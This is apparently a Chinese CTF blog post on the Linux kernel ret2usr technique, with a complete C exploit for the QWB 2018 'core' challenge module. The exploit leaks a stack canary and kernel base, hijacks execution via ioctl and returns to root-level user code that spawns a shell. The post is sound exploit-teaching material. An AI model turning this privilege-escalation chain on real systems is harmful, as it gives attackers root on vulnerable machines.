知识分享Kernel PwnKernel初识 - Kernel ret2usr
SpaceDraG0nKernel ret2usr
个人感觉这个手法有点类似于用户态的ret2shellcode,但又不完全相同
概述
在【未】开启 SMAP/SMEP 保护的情况下,用户空间无法访问内核空间的数据,但是内核空间可以访问 / 执行用户空间的数据,因此 ret2usr
这种攻击手法应运而生——通过 kernel ROP 以内核的 ring 0 权限执行用户空间的代码以完成提权。
通常 CTF 中的 ret2usr 还是以执行 commit_creds(prepare_kernel_cred(NULL))
进行提权为主要的攻击手法,不过相比起构造冗长的 ROP chain,ret2usr 只需我们要提前在用户态程序构造好对应的函数指针、获取相应函数地址后直接 ret 回到用户空间执行即可,在这种情况下 我们只需要劫持内核执行流,而无需在内核空间构造复杂的 ROP 链条 。
✳ 对于开启了 SMAP/SMEP保护
的 kernel 而言,内核空间尝试直接访问用户空间会引起 kernel panic,我们将在下一章节讲述其绕过方式。
在 QEMU 启动参数中,我们可以为 CPU 参数加上 -smep,-smap
以显式关闭 SMEP&SMAP 保护,例如:
1 2 3 4 5
| #!/bin/sh qemu-system-x86_64 \ -enable-kvm \ -cpu host,-smep,-smap \ # ...
|
攻击代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| void get_shell(){ system("/bin/sh"); }
size_t prepare_kernel_cred , commit_creds; void* (*prepare_kernel_cred_kfunc)(void *task_struct); int (*commit_creds_kfunc)(void *cred);
void privilege_escalation(){ if(commit_creds && prepare_kernel_cred){ (*((void (*)(char *))commit_creds))( (*((char* (*)(int))prepare_kernel_cred))(0) ); } }
|
例题:强网杯 2018 - core
Kernel ret2usr
直接贴exp了,只需要把直接内核提权的rop换成我们用户态构造好的提权函数地址即可,如果对前面的相关思路还没有了解的,可以去看我的之前的博客 ,Kernel ROP 。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
| #include<stdio.h> #include<unistd.h> #include<stdlib.h> #include<fcntl.h> #include<string.h> #include<sys/types.h> #include<sys/wait.h> #include<sys/ioctl.h> #include<pthread.h> void setoff(int fd,long long size){ ioctl(fd,0x6677889c,size); } void core_read(int fd,char *buf){ ioctl(fd,0x6677889b,buf); } void core_copy_func(int fd,long long size){ ioctl(fd,0x6677889a,size); } size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(void) { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" );
puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
void get_shell(){ system("/bin/sh"); }
int fd ; size_t tmp; char buf[0x50]; size_t rop[0x100]; size_t vmlinux_base,canary,core_base; size_t commit_creds = 0x9c8e0; size_t prepare_kernel_cred = 0x9cce0; size_t pop_rdi = 0x000b2f; size_t push_rax = 0x02d112; size_t swapgs = 0x0d6; size_t iretq ; size_t xchg = 0x16684f0; size_t call_rax = 0x40398; size_t pop_rcx = 0x21e53; size_t pop_rbp = 0x3c4; size_t pop_rdx = 0xa0f49; size_t mov_rdi_rax_call_rdx = 0x01aa6a; int i = 0;
void get_addr(){
save_status(); fd = open("/proc/core",O_RDWR); //程序创造了一个接口,所以我们需要把这个接口给打开 ,这样才能进行函数调用 if(fd < 0) { printf("Open /proc/core error!\n"); exit(0); } setoff(fd,0x40); // v4 距离 canary 的偏移是 0x40 ,而且v5的数据类型是char类型。 core_read(fd,buf); //把canary读入用户态的buf
//此时buf的前八个字节是我们的canary canary = (*(size_t *)(&buf[0])); puts("\033[34m\033[1m[*] leak success! .\033[0m"); printf("\033[34m\033[1m[*] Canary >> %p.\033[0m\n",canary); core_base = (*(size_t *)(&buf[2*8])) - 0x19b; puts("\033[34m\033[1m[*] leak success! .\033[0m"); printf("\033[34m\033[1m[*] core_base >> %p.\033[0m\n",core_base); vmlinux_base = (*(size_t *)(&buf[4*8]) - 0x1dd6d1); puts("\033[34m\033[1m[*] leak success! .\033[0m"); printf("\033[34m\033[1m[*] vmlinux_base >> %p.\033[0m\n",vmlinux_base); pop_rdi += vmlinux_base; pop_rcx += vmlinux_base; pop_rbp += vmlinux_base; pop_rdx += vmlinux_base; mov_rdi_rax_call_rdx += vmlinux_base; swapgs += core_base; iretq = 0x50ac2 + vmlinux_base; commit_creds += vmlinux_base; prepare_kernel_cred += vmlinux_base;
}
void privilege_escalation(){ if(commit_creds && prepare_kernel_cred){ (*((void (*)(char *))commit_creds))( (*((char* (*)(int))prepare_kernel_cred))(0) ); } }
int main(){ get_addr(); for(i=0;i<10;i++){ rop[i] = canary; } i = 10; rop[i++] = (size_t)privilege_escalation; rop[i++] = swapgs; //恢复用户GS寄存器 rop[i++] = 0; rop[i++] = iretq; rop[i++] = (size_t)get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd,rop,i*8); core_copy_func(fd,0xf000000000000000+i*8); puts("\033[34m\033[1m[*] Attack Success! .\033[0m"); return 0; }
|

参考链接:
https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/ret2usr/